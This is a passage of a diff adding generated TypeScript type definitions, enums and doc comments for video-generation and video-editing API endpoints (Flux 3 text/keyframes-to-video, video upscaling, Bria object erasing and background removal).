inputBlackforestlabsFlux3KeyframesToVideoDurationEnum)[keyof typeof inputBlackforestlabsFlux3KeyframesToVideoDurationEnum] + +export const inputBlackforestlabsFlux3KeyframesToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3KeyframesToVideoAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3KeyframesToVideoAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3KeyframesToVideoAspectRatioEnum] + +export const inputBlackforestlabsFlux3KeyframesToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputBlackforestlabsFlux3KeyframesToVideoResolutionEnumKey = + (typeof inputBlackforestlabsFlux3KeyframesToVideoResolutionEnum)[keyof typeof inputBlackforestlabsFlux3KeyframesToVideoResolutionEnum] + +export type InputBlackforestlabsFlux3KeyframesToVideo = { + /** + * @description The text prompt describing the video you want to generate. + * @example A red panda walks along a mossy log in a sunlit forest, one continuous unbroken shot. Ambient birdsong and rustling leaves. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Duration of the generated video in seconds. An explicit duration is required to validate keyframe positions. + * @default 5 + * @type number | undefined + */ + duration?: InputBlackforestlabsFlux3KeyframesToVideoDurationEnumKey + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description Keyframe images pinned to frame positions in the generated video. Up to 10 keyframes with unique `frame_index` values. + * @example [{"image_url":"https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-1.jpeg","frame_index":0},{"image_url":"https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-2.jpeg","frame_index":120}] + * @type array + */ + keyframes: Flux3Keyframe[] + /** + * @description Aspect ratio of the generated video. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3KeyframesToVideoAspectRatioEnumKey + /** + * @description Resolution of the generated video. `1080p`, `1440p` (2K) and `2160p` (4K) are finished by the video upsampler; exact dimensions depend on the aspect ratio. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3KeyframesToVideoResolutionEnumKey +} + +export type OutputBlackforestlabsFlux3KeyframesToVideo = { + /** + * @description The generated video. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/veo3-i2v-output.mp4"} + * @type object + */ + video: File + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number +} + +export type Flux3Keyframe1902C3F8 = { + /** + * @description URL of the keyframe image (PNG, JPEG, or WebP). + * @type string + */ + image_url: string + /** + * @description Frame position of this keyframe in the generated 24 fps video. Must be unique and at most `duration * 24`. + * @minimum 0 + * @type integer + */ + frame_index: number +} + +export const inputBlackforestlabsFlux3KeyframesToVideoDraftAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3KeyframesToVideoDraftAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3KeyframesToVideoDraftAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3KeyframesToVideoDraftAspectRatioEnum] + +export const inputBlackforestlabsFlux3KeyframesToVideoDraftDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3KeyframesToVideoDraftDurationEnumKey = + (typeof inputBlackforestlabsFlux3KeyframesToVideoDraftDurationEnum)[keyof typeof inputBlackforestlabsFlux3KeyframesToVideoDraftDurationEnum] + +export type InputBlackforestlabsFlux3KeyframesToVideoDraft = { + /** + * @description Keyframe images pinned to frame positions in the generated draft. Up to 10 keyframes with unique `frame_index` values. + * @example [{"image_url":"https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-1.jpeg","frame_index":0},{"image_url":"https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-2.jpeg","frame_index":120}] + * @type array + */ + keyframes: Flux3Keyframe1902C3F8[] + /** + * @description The text prompt describing the draft video. + * @example A red panda walks along a mossy log in a sunlit forest, one continuous unbroken shot. + * @type string + */ + prompt: string + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description Aspect ratio of the generated draft. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3KeyframesToVideoDraftAspectRatioEnumKey + /** + * @description Whether to generate audio for the draft video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Draft duration in whole seconds from 5 through 20. An explicit duration is required to validate keyframe positions. + * @default 5 + * @type number | undefined + */ + duration?: InputBlackforestlabsFlux3KeyframesToVideoDraftDurationEnumKey +} + +export type File5538503B = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBlackforestlabsFlux3KeyframesToVideoDraft = { + /** + * @description Durable encrypted cache bundle; pass it to `draft-enhance` for a full-quality render. Absent when the partner did not return a cache bundle for this draft. + */ + draft_cache?: File5538503B | null + /** + * @description The draft video. + * @type object + */ + video: File5538503B +} + +export const inputBlackforestlabsFlux3TextToVideoDurationEnum = { + auto: 'auto', + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3TextToVideoDurationEnumKey = + (typeof inputBlackforestlabsFlux3TextToVideoDurationEnum)[keyof typeof inputBlackforestlabsFlux3TextToVideoDurationEnum] + +export const inputBlackforestlabsFlux3TextToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3TextToVideoAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3TextToVideoAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3TextToVideoAspectRatioEnum] + +export const inputBlackforestlabsFlux3TextToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputBlackforestlabsFlux3TextToVideoResolutionEnumKey = + (typeof inputBlackforestlabsFlux3TextToVideoResolutionEnum)[keyof typeof inputBlackforestlabsFlux3TextToVideoResolutionEnum] + +export type InputBlackforestlabsFlux3TextToVideo = { + /** + * @description The text prompt describing the video you want to generate. + * @example A red panda walks along a mossy log in a sunlit forest, one continuous unbroken shot. Ambient birdsong and rustling leaves. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Duration of the generated video in seconds. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBlackforestlabsFlux3TextToVideoDurationEnumKey + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description Aspect ratio of the generated video. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3TextToVideoAspectRatioEnumKey + /** + * @description Resolution of the generated video. `1080p`, `1440p` (2K) and `2160p` (4K) are finished by the video upsampler; exact dimensions depend on the aspect ratio. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3TextToVideoResolutionEnumKey +} + +export type OutputBlackforestlabsFlux3TextToVideo = { + /** + * @description The generated video. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/veo3-i2v-output.mp4"} + * @type object + */ + video: File + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number +} + +export const inputBlackforestlabsFlux3TextToVideoDraftAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3TextToVideoDraftAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3TextToVideoDraftAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3TextToVideoDraftAspectRatioEnum] + +export const inputBlackforestlabsFlux3TextToVideoDraftDurationEnum = { + auto: 'auto', + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3TextToVideoDraftDurationEnumKey = + (typeof inputBlackforestlabsFlux3TextToVideoDraftDurationEnum)[keyof typeof inputBlackforestlabsFlux3TextToVideoDraftDurationEnum] + +export type InputBlackforestlabsFlux3TextToVideoDraft = { + /** + * @description The text prompt describing the draft video. + * @example A red panda walks along a mossy log in a sunlit forest, one continuous unbroken shot. + * @type string + */ + prompt: string + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description Aspect ratio of the generated draft. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3TextToVideoDraftAspectRatioEnumKey + /** + * @description Whether to generate audio for the draft video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Draft duration in whole seconds from 5 through 20, or `auto`. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBlackforestlabsFlux3TextToVideoDraftDurationEnumKey +} + +export type File50616C3B = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBlackforestlabsFlux3TextToVideoDraft = { + /** + * @description Durable encrypted cache bundle; pass it to `draft-enhance` for a full-quality render. Absent when the partner did not return a cache bundle for this draft. + */ + draft_cache?: File50616C3B | null + /** + * @description The draft video. + * @type object + */ + video: File50616C3B +} + +export const inputBlackforestlabsFluxVideoUpscaleCreativityEnum = { + '0': 0, + '1': 1, +} as const + +export type InputBlackforestlabsFluxVideoUpscaleCreativityEnumKey = + (typeof inputBlackforestlabsFluxVideoUpscaleCreativityEnum)[keyof typeof inputBlackforestlabsFluxVideoUpscaleCreativityEnum] + +export type InputBlackforestlabsFluxVideoUpscale = { + /** + * @description URL of the MP4 video to upscale. The video must be at most 20 seconds and 50 MB. + * @example https://v3b.fal.media/files/b/0a93a27d/-iFpecUCsSdwXVMevsZa3_output_5s_448x256.mp4 + * @type string + */ + video_url: string + /** + * @description Use 0 for a source-faithful upscale or 1 for creative detail enhancement. + * @default 1 + * @type number | undefined + */ + creativity?: InputBlackforestlabsFluxVideoUpscaleCreativityEnumKey + /** + * @description Optional description used to guide creative detail enhancement. + */ + prompt?: string | null + /** + * @description Output scaling factor. The source aspect ratio is preserved. + * @minimum 1.5 + * @maximum 3 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description Moderation strictness. Lower values are stricter. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number +} + +export type FileFa6Bed67 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBlackforestlabsFluxVideoUpscale = { + /** + * @description The upscaled MP4 video. + * @type object + */ + video: FileFa6Bed67 +} + +export const inputBriaBriaVideoEraserEraseKeypointsOutputContainerAndCodecEnum = + { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + gif: 'gif', + mov_h264: 'mov_h264', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h264: 'mkv_h264', + mkv_h265: 'mkv_h265', + mkv_vp9: 'mkv_vp9', + mkv_mpeg4: 'mkv_mpeg4', + } as const + +export type InputBriaBriaVideoEraserEraseKeypointsOutputContainerAndCodecEnumKey = + (typeof inputBriaBriaVideoEraserEraseKeypointsOutputContainerAndCodecEnum)[keyof typeof inputBriaBriaVideoEraserEraseKeypointsOutputContainerAndCodecEnum] + +export type InputBriaBriaVideoEraserEraseKeypoints = { + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Input video to erase object from. duration must be less than 5s. + * @example https://bria-test-images.s3.us-east-1.amazonaws.com/videos/eraser_mask/woman_right_side.mov + * @type string + */ + video_url: string + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, gif, mov_h264, mov_h265, mov_proresks, mkv_h264, mkv_h265, mkv_vp9, mkv_mpeg4. + * @default 'mp4_h264' + * @type string | undefined + */ + output_container_and_codec?: InputBriaBriaVideoEraserEraseKeypointsOutputContainerAndCodecEnumKey + /** + * @description Input keypoints [x,y] to erase or keep from the video. Format like so: {'x':100, 'y':100, 'type':'positive/negative'} + * @example ["{'x': 765, 'y': 344, 'type': 'positive'}","{'x': 200, 'y': 200, 'type': 'negative'}"] + * @type array + */ + keypoints: string[] + /** + * @description auto trim the video, to working duration ( 5s ) + * @default true + * @type boolean | undefined + */ + auto_trim?: boolean +} + +export type VideoD5Ba1Fc5 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type File32Bacb2C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaBriaVideoEraserEraseKeypoints = { + /** + * @description Final video. + */ + video: VideoD5Ba1Fc5 | File32Bacb2C +} + +export const inputBriaBriaVideoEraserEraseMaskOutputContainerAndCodecEnum = { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + gif: 'gif', + mov_h264: 'mov_h264', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h264: 'mkv_h264', + mkv_h265: 'mkv_h265', + mkv_vp9: 'mkv_vp9', + mkv_mpeg4: 'mkv_mpeg4', +} as const + +export type InputBriaBriaVideoEraserEraseMaskOutputContainerAndCodecEnumKey = + (typeof inputBriaBriaVideoEraserEraseMaskOutputContainerAndCodecEnum)[keyof typeof inputBriaBriaVideoEraserEraseMaskOutputContainerAndCodecEnum] + +export type InputBriaBriaVideoEraserEraseMask = { + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Input video to erase object from. duration must be less than 5s. + * @example https://bria-test-images.s3.us-east-1.amazonaws.com/videos/eraser/video1_video.mp4 + * @type string + */ + video_url: string + /** + * @description Input video to mask erase object from. duration must be less than 5s. + * @example https://bria-test-images.s3.us-east-1.amazonaws.com/videos/eraser/video1_mask.mp4 + * @type string + */ + mask_video_url: string + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, gif, mov_h264, mov_h265, mov_proresks, mkv_h264, mkv_h265, mkv_vp9, mkv_mpeg4. + * @default 'mp4_h264' + * @type string | undefined + */ + output_container_and_codec?: InputBriaBriaVideoEraserEraseMaskOutputContainerAndCodecEnumKey + /** + * @description auto trim the video, to working duration ( 5s ) + * @default true + * @type boolean | undefined + */ + auto_trim?: boolean +} + +export type Video465D55D9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type FileB89Af462 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaBriaVideoEraserEraseMask = { + /** + * @description Final video. + */ + video: Video465D55D9 | FileB89Af462 +} + +export const inputBriaBriaVideoEraserErasePromptOutputContainerAndCodecEnum = { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + gif: 'gif', + mov_h264: 'mov_h264', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h264: 'mkv_h264', + mkv_h265: 'mkv_h265', + mkv_vp9: 'mkv_vp9', + mkv_mpeg4: 'mkv_mpeg4', +} as const + +export type InputBriaBriaVideoEraserErasePromptOutputContainerAndCodecEnumKey = + (typeof inputBriaBriaVideoEraserErasePromptOutputContainerAndCodecEnum)[keyof typeof inputBriaBriaVideoEraserErasePromptOutputContainerAndCodecEnum] + +export type InputBriaBriaVideoEraserErasePrompt = { + /** + * @description Input prompt to detect object to erase + * @example women + * @type string + */ + prompt: string + /** + * @description Input video to erase object from. duration must be less than 5s. + * @example https://bria-test-images.s3.us-east-1.amazonaws.com/videos/eraser_mask/woman_right_side.mov + * @type string + */ + video_url: string + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, gif, mov_h264, mov_h265, mov_proresks, mkv_h264, mkv_h265, mkv_vp9, mkv_mpeg4. + * @default 'mp4_h264' + * @type string | undefined + */ + output_container_and_codec?: InputBriaBriaVideoEraserErasePromptOutputContainerAndCodecEnumKey + /** + * @description auto trim the video, to working duration ( 5s ) + * @default true + * @type boolean | undefined + */ + auto_trim?: boolean +} + +export type VideoFf10C8C3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type File198C77E8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaBriaVideoEraserErasePrompt = { + /** + * @description Final video. + */ + video: VideoFf10C8C3 | File198C77E8 +} + +export const inputBriaVideoBackgroundRemovalBackgroundColorEnum = { + Transparent: 'Transparent', + Black: 'Black', + White: 'White', + Gray: 'Gray', + Red: 'Red', + Green: 'Green', + Blue: 'Blue', + Yellow: 'Yellow', + Cyan: 'Cyan', + Magenta: 'Magenta', + Orange: 'Orange', +} as const + +export type InputBriaVideoBackgroundRemovalBackgroundColorEnumKey = + (typeof inputBriaVideoBackgroundRemovalBackgroundColorEnum)[keyof typeof inputBriaVideoBackgroundRemovalBackgroundColorEnum] + +export const inputBriaVideoBackgroundRemovalOutputContainerAndCodecEnum = { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h265: 'mkv_h265', + mkv_h264: 'mkv_h264', + mkv_vp9: 'mkv_vp9', + gif: 'gif', +} as const + +export type InputBriaVideoBackgroundRemovalOutputContainerAndCodecEnumKey = + (typeof inputBriaVideoBackgroundRemovalOutputContainerAndCodecEnum)[keyof typeof inputBriaVideoBackgroundRemovalOutputContainerAndCodecEnum] + +export type InputBriaVideoBackgroundRemoval = { + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Background color. Options: Transparent, Black, White, Gray, Red, Green, Blue, Yellow, Cyan, Magenta, Orange. + * @default 'Black' + * @type string | undefined + */ + background_color?: InputBriaVideoBackgroundRemovalBackgroundColorEnumKey + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, mov_h265, mov_proresks, mkv_h265, mkv_h264, mkv_vp9, gif. + * @default 'webm_vp9' + * @type string | undefined + */ + output_container_and_codec?: InputBriaVideoBackgroundRemovalOutputContainerAndCodecEnumKey + /** + * @description Input video to remove background from. Size should be less than 4000x4000 and duration less than 30s. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/rmbg_tests/videos/5586521-uhd_3840_2160_25fps_original.mp4 + * @type string + */ + video_url: string +} + +export type VideoB93E52B1 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type File23147C76 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaVideoBackgroundRemoval = { + /** + * @description Video with removed background and audio. + */ + video: VideoB93E52B1 | File23147C76 +} + +export const inputBriaVideoBackgroundRemovalGreenScreenDespillOutputContainerAndCodecEnum = + { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h265: 'mkv_h265', + mkv_h264: 'mkv_h264', + mkv_vp9: 'mkv_vp9', + gif: 'gif', + } as const + +export type InputBriaVideoBackgroundRemovalGreenScreenDespillOutputContainerAndCodecEnumKey = + (typeof inputBriaVideoBackgroundRemovalGreenScreenDespillOutputContainerAndCodecEnum)[keyof typeof inputBriaVideoBackgroundRemovalGreenScreenDespillOutputContainerAndCodecEnum] + +export type InputBriaVideoBackgroundRemovalGreenScreenDespill = { + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, mov_h265, mov_proresks, mkv_h265, mkv_h264, mkv_vp9, gif. + * @default 'webm_vp9' + * @type string | undefined + */ + output_container_and_codec?: InputBriaVideoBackgroundRemovalGreenScreenDespillOutputContainerAndCodecEnumKey + /** + * @description Strength of green-spill suppression. Higher values pull the green channel toward the red/blue average on green-dominant pixels, removing the green fringe around the subject. 0 disables it. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + spill_suppression?: number + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Input video filmed on a green screen. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/rmbg_tests/videos/green_screen_video.webm + * @type string + */ + video_url: string +} + +export type Video3C3Cd4E8 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaVideoBackgroundRemovalGreenScreenDespill = { + /** + * @description Bria request ID. + * @type string + */ + request_id: string + /** + * @description Set when the request was served with an adjusted parameter, e.g. a transparent background falling back to black on a codec that cannot carry alpha. + */ + warning?: string | null + /** + * @description Video with the green-screen background removed, on a transparent background. + * @example {"url":"https://bria-datasets.s3.us-east-1.amazonaws.com/rmbg_tests/videos/green_screen_video_output.webm","file_size":2884142,"file_name":"green_screen_video_output.webm","content_type":"video/webm"} + * @type object + */ + video: Video3C3Cd4E8 +} + +export const inputBriaVideoBackgroundRemovalRealtimeBackgroundColorEnum = { + Black: 'Black', + White: 'White', + Gray: 'Gray', + Red: 'Red', + Green: 'Green', + Blue: 'Blue', + Yellow: 'Yellow', + Cyan: 'Cyan', + Magenta: 'Magenta', + Orange: 'Orange', +} as const + +export type InputBriaVideoBackgroundRemovalRealtimeBackgroundColorEnumKey = + (typeof inputBriaVideoBackgroundRemovalRealtimeBackgroundColorEnum)[keyof typeof inputBriaVideoBackgroundRemovalRealtimeBackgroundColorEnum] + +export const inputBriaVideoBackgroundRemovalRealtimeBackgroundTypeEnum = { + color: 'color', + image: 'image', + blur: 'blur', +} as const + +export type InputBriaVideoBackgroundRemovalRealtimeBackgroundTypeEnumKey = + (typeof inputBriaVideoBackgroundRemovalRealtimeBackgroundTypeEnum)[keyof typeof inputBriaVideoBackgroundRemovalRealtimeBackgroundTypeEnum] + +/** + * @description Playground input: webcam/video source (inherited ``image_url``) plus the + * background to composite the subject onto — a solid colour, a custom image, + * or a blurred copy of the frame. + * @type object + */ +export type InputBriaVideoBackgroundRemovalRealtime = { + /** + * @description Background blur strength, 0-100 (used when background_type is 'blur'). + * @minimum 0 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + blur_strength?: number + /** + * @description Solid background colour (used when background_type is 'color'). + * @default 'Black' + * @type string | undefined + */ + background_color?: InputBriaVideoBackgroundRemovalRealtimeBackgroundColorEnumKey + /** + * @description How to replace the background: 'color', 'image', or 'blur'. + * @default 'color' + * @type string | undefined + */ + background_type?: InputBriaVideoBackgroundRemovalRealtimeBackgroundTypeEnumKey + /** + * @description Playground webcam/video source. Media is sent over WebRTC. + * @default '' + * @type string | undefined + */ + image_url?: string + /** + * @description Background image URL or data URI (used when background_type is 'image'). + * @default null + */ + background_image_url?: string | null + [key: string]: unknown +} + +export type IceServersOutput = { + iceservers: { + [key: string]: unknown + }[] + type: 'iceservers' +} + +export type AnswerOutput = { + sdp: string + type: 'answer' +} + +export type IceCandidate = { + /** + * @default null + */ + sdpMLineIndex?: number | null + /** + * @default null + */ + sdpMid?: string | null + candidate: string +} + +export type IceCandidateOutput = { + type: 'icecandidate' + /** + * @default null + */ + candidate?: IceCandidate | null +} + +export type ErrorOutput = { + error: string + type: 'error' +} + +export type OutputBriaVideoBackgroundRemovalRealtime = + | (IceServersOutput & { + type: 'iceservers' + }) + | (AnswerOutput & { + type: 'answer' + }) + | (IceCandidateOutput & { + type: 'icecandidate' + }) + | (ErrorOutput & { + type: 'error' + }) + +export const inputBriaVideoBackgroundRemovalV3BackgroundColorEnum = { + Transparent: 'Transparent', + Black: 'Black', + White: 'White', + Gray: 'Gray', + Red: 'Red', + Green: 'Green', + Blue: 'Blue', + Yellow: 'Yellow', + Cyan: 'Cyan', + Magenta: 'Magenta', + Orange: 'Orange', +} as const + +export type InputBriaVideoBackgroundRemovalV3BackgroundColorEnumKey = + (typeof inputBriaVideoBackgroundRemovalV3BackgroundColorEnum)[keyof typeof inputBriaVideoBackgroundRemovalV3BackgroundColorEnum] + +export const inputBriaVideoBackgroundRemovalV3OutputContainerAndCodecEnum = { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h265: 'mkv_h265', + mkv_h264: 'mkv_h264', + mkv_vp9: 'mkv_vp9', + gif: 'gif', +} as const + +export type InputBriaVideoBackgroundRemovalV3OutputContainerAndCodecEnumKey = + (typeof inputBriaVideoBackgroundRemovalV3OutputContainerAndCodecEnum)[keyof typeof inputBriaVideoBackgroundRemovalV3OutputContainerAndCodecEnum] + +export type InputBriaVideoBackgroundRemovalV3 = { + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Background color. Options: Transparent, Black, White, Gray, Red, Green, Blue, Yellow, Cyan, Magenta, Orange. + * @default 'Black' + * @type string | undefined + */ + background_color?: InputBriaVideoBackgroundRemovalV3BackgroundColorEnumKey + /** + * @description If true, crop the output to the smallest rectangle the subject stays inside for the whole video. + * @default false + * @type boolean | undefined + */ + auto_zoom?: boolean + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, mov_h265, mov_proresks, 